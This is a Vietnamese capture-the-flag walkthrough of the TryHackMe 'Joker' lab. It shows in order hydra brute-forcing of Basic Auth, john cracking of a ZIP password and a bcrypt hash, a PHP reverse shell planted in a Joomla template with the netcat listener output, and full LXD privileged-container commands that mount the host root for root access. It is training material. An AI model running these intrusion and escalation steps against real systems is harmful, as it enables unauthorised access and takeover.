Bài viết

TryHackMe - Joker CTF

Leo thang đặc quyền bằng Linux Containers? (LXD)

TryHackMe - Joker CTF

Giới thiệu

Đây là một thử thách rất thú vị và cũng là lần đầu tiên tôi sử dụng Linux Containers.

Có vẻ room cũng cung cấp một hướng dẫn cơ bản về các bước cần thực hiện, vì vậy chúng ta sẽ làm theo quy trình sau:

  1. Liệt kê dịch vụ
  • Nmap
  1. Brute-force
  • Brute-force các tệp qua HTTP
  • Brute-force Basic Authentication
  1. Bẻ khóa hash
  • Brute-force hash để mở tệp ZIP
  • Brute-force hash để lấy mật khẩu người dùng MySQL
  1. Khai thác
  • Tạo kết nối reverse shell
  • Tạo TTY shell
  1. Leo thang đặc quyền
  • Giành quyền root bằng cách lợi dụng các điểm yếu trong LXD

Dù sao thì đây cũng là phương pháp luận được sử dụng trên phần lớn các máy, vì vậy việc có một hướng dẫn cơ bản như vậy rất hữu ích.

Tryhackme Room Link

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.204.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
|   256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_  256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open  http    Apache httpd 2.4.29
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Các cổng đang mở:

22/tcp 80/tcp 8080/tcp

Câu hỏi:

Apache đang chạy phiên bản nào?

Câu trả lời:

1
2.4.29

Khi cố gắng truy cập trang web backup trên cổng 8080/tcp, chúng ta được yêu cầu nhập thông tin đăng nhập.

Câu hỏi:

Cổng nào trên máy này không yêu cầu xác thực bằng tên người dùng và mật khẩu?

Câu trả lời:

1
80

Trinh sát

Câu hỏi:

Có một tệp trên cổng này có vẻ là bí mật. Đó là tệp nào?

1
2
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u "http://10.10.204.243/FUZZ" -fl 124 -e .txt
secret.txt              [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 45ms]

Câu trả lời:

1
secret.txt

Hãy truy cập 10.10.204.243/secret.txt.

Secret.txt

Có vẻ chúng ta có 2 người dùng tiềm năng: jokerbatman.

Câu hỏi:

Có một tệp khác tiết lộ thông tin về backend. Đó là tệp nào?

1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.204.243/FUZZ" -fl 124 
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.hta                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 47ms]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 46ms]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 45ms]
index.html              [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 46ms]
phpinfo.php             [Status: 200, Size: 94822, Words: 4697, Lines: 1160, Duration: 144ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 45ms]

Câu trả lời:

1
phpinfo.php

Câu hỏi:

Khi đọc tệp bí mật, chúng ta thấy một cuộc trò chuyện dường như chứa ít nhất hai người dùng và một số từ khóa đáng chú ý. Bạn nghĩ người dùng cần tìm là ai?

Câu trả lời:

1
joker

Câu hỏi:

Cổng nào trên máy này yêu cầu xác thực bằng cơ chế Basic Authentication?

Câu trả lời:

1
8080

Câu hỏi:

Đến lúc này, chúng ta đã có một tên người dùng và một URL yêu cầu xác thực. Hãy brute-force để lấy mật khẩu. Mật khẩu là gì?

1
hydra -l joker -P /usr/share/wordlists/rockyou.txt -t 20 10.10.204.243 -s 8080 http-get 

Câu trả lời:

1
<CENSORED>

Hãy sử dụng gobuster cho bước này vì việc cung cấp thông tin đăng nhập với công cụ này dễ dàng hơn.

1
2
gobuster dir -u http://10.10.204.243:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P <CENSORED>
/administrator 

Câu trả lời:

1
/administrator/

Reverse Shell

Câu hỏi:

Chúng ta cần truy cập khu vực quản trị của trang web để lấy shell. Có một tệp backup. Tệp đó là gì?

Chúng ta buộc phải sử dụng nikto vì tôi không thể tìm thấy gì bằng gobuster hoặc ffuf.

1
2
$ nikto -h http://10.10.204.243:8080/ -id joker:<CENSORED> 
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html

Câu trả lời:

1
backup.zip

Câu hỏi:

Chúng ta đã có tệp backup và giờ cần tìm kiếm một số thông tin, chẳng hạn cơ sở dữ liệu hoặc tệp cấu hình. Tuy nhiên, tệp backup có vẻ đã được mã hóa. Mật khẩu là gì?

Chúng ta cần bẻ khóa mật khẩu của tệp ZIP bằng john.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ zip2john backup.zip > joker.hash
└─$ john joker.hash                                                                                            
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<CENSORED>           (backup.zip)     
1g 0:00:00:00 DONE 2/3 (2025-02-26 21:31) 25.00g/s 2258Kp/s 2258Kc/s 2258KC/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Câu trả lời:

1
<CENSORED>

Câu hỏi:

Hãy nhớ rằng chúng ta cần truy cập khu vực quản trị của trang web. Trong những tệp vừa phát hiện, có một số thông tin nhạy cảm, có thể liên quan đến cơ sở dữ liệu. Nếu khôi phục cơ sở dữ liệu, một số bảng có thể chứa thông tin người dùng. Tài khoản super user là gì?

Sau khi kiểm tra tệp joombadb.sql, chúng ta có thể thấy tài khoản super user.

Câu trả lời:

1
admin

Câu hỏi:

Mật khẩu của Super User là gì?

1
2
3
4
5
6
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
john pass.txt
<CENSORED>        (?)     
1g 0:00:00:06 DONE 2/3 (2025-02-26 21:35) 0.1481g/s 109.3p/s 109.3c/s 109.3C/s yellow..allison
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Câu trả lời:

1
<CENSORED>

Truy cập ban đầu

Sau khi liệt kê thông tin thêm một chút, tôi đã tìm được cách chèn reverse shell.

Trong Extensions > Templates > Templates:

Rshell1

Chúng ta có thể kiểm tra Beez3 và thấy rằng mình có thể chỉnh sửa các tệp PHP.

Hãy chèn reverse shell vào đó. Sau khi khởi động listener cục bộ, chúng ta có thể nhấn Template Preview.

Rshell2

1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 1337                                                                                              
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.204.243] 32938
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:45:34 up  1:09,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Câu hỏi:

Đến lúc này, bạn đã có thể tải reverse shell lên để giành quyền truy cập shell. Chủ sở hữu của phiên này là ai?

Câu trả lời:

1
www-data

Câu hỏi:

Người dùng này thuộc một nhóm khác với nhóm chính của họ. Nhóm đó là gì?

1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)

Câu trả lời:

1
lxd

Tạo một TTY shell:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Leo thang đặc quyền

Vì chúng ta thuộc nhóm lxd, room yêu cầu sử dụng Linux Containers để leo thang đặc quyền.

Sau khi tìm hiểu, về cơ bản chúng ta cần:

  1. Cài đặt image Alpine cho LXC trên máy tấn công
  2. Thiết lập image đúng cách
  3. Chia sẻ image qua máy chủ HTTP
  4. Tải image xuống từ máy mục tiêu
  5. Chạy image và truy cập hệ thống với quyền root
1
2
3
4
5
6
7
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

Câu hỏi:

Tên của tệp trong thư mục /root là gì?

Câu trả lời:

1
<CENSORED>.txt
Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .